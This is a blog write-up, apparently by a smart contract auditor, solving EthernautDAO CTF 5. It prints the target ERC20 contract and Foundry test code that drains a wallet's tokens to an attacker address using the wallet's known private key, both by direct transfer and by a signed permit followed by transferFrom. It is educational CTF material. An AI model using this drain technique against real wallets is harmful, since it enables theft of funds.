EthernautDAO CTF — EthernautDAO Token Solution

CTF 5: EthernautDAO Token

  • Mint 1: minting 0.000000000000000001 tokens to the address 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
  • Mint 2: minting 0.099999999999999999 tokens to the address 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
  • Mint 3: minting 0.999999999999999999 tokens to the address 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266

Study the contracts

contract EthernautDaoToken is ERC20, ERC20Burnable, Pausable, AccessControl, ERC20Permit {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("ETHERNAUTDAO TOKEN", "EDT") ERC20Permit("ETHERNAUTDAO TOKEN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, msg.sender);
_mint(msg.sender, 1 * 10**decimals());
_setupRole(MINTER_ROLE, msg.sender);
}
function pause() public {
require(hasRole(PAUSER_ROLE, msg.sender));
_pause();
}
function unpause() public {
require(hasRole(PAUSER_ROLE, msg.sender));
_unpause();
}
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override whenNotPaused {
super._beforeTokenTransfer(from, to, amount);
}
}
  • ERC20Burnable: implements the burn and burnFrom function
  • Pausable: implements the logic to allow pause and unpause features
  • ERC20Permit: implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in EIP-2612
  • pause to pause each token transfer (see _beforeTokenTransfer)
  • unpause to unpause the contract
  • mint to mint tokens
  • _beforeTokenTransfer implements the ERC20 hook that is called when mint, burn, transfer and transferFrom are called. This implementation of the hook will revert if the contract is in a paused state
  • call transfer on the token contract by signing the transaction with the private key
  • have some fun and use the permit function that the contract is implementing and transfer those tokens from our own address (as a player)
/// @notice Solution 1: access directly as the final user
function solutionOne(
address walletAddress,
address player,
uint256 walletBalance
) private {
vm.startPrank(walletAddress);
// simply transfer the tokens
ethernautDaoToken.transfer(player, walletBalance);
vm.stopPrank();
}
/// @notice Solution 2: access directly as the final user
function solutionTwo(
address walletAddress,
address player,
uint256 walletBalance
) private {
// Set a deadline in the future otherwise the `permit` call will revert
uint256 deadline = block.timestamp + 1;
// Reconstruct the EAO signed message to be used by the `permit` function when called by the player account
bytes32 permitTypeHash = keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
bytes32 erc20PermitStructHash = keccak256(
abi.encode(permitTypeHash, walletAddress, player, walletBalance, 0, deadline)
);
bytes32 erc20PermitHash = ECDSA.toTypedDataHash(ethernautDaoToken.DOMAIN_SEPARATOR(), erc20PermitStructHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(WALLET_PRIVATE_KEY, erc20PermitHash);
// call the `permit` function not as the owner of the funds but as the player
ethernautDaoToken.permit(walletAddress, player, walletBalance, deadline, v, r, s);
vm.startPrank(player);
// transfer tokens from the the real owner to the player account
ethernautDaoToken.transferFrom(walletAddress, player, walletBalance);
vm.stopPrank();
}

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
function testTransferEDTToken() public {
address player = users[0];
address walletAddress = vm.addr(WALLET_PRIVATE_KEY);
console.log(walletAddress);
uint256 walletBalanceBefore = ethernautDaoToken.balanceOf(walletAddress);
// Solution 1: access directly as the final user
solutionOne(walletAddress, player, walletBalanceBefore / 2);
// Solution 2: Use the Permit functions to allow the player to transfer the tokens on behalf of the user
solutionTwo(walletAddress, player, ethernautDaoToken.balanceOf(walletAddress));
// Assert that the player now owns all the balanced owned by the wallet before the exploit
// And that the wallet has 0 tokens in its balance
assertEq(ethernautDaoToken.balanceOf(player), walletBalanceBefore);
assertEq(ethernautDaoToken.balanceOf(walletAddress), 0);
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden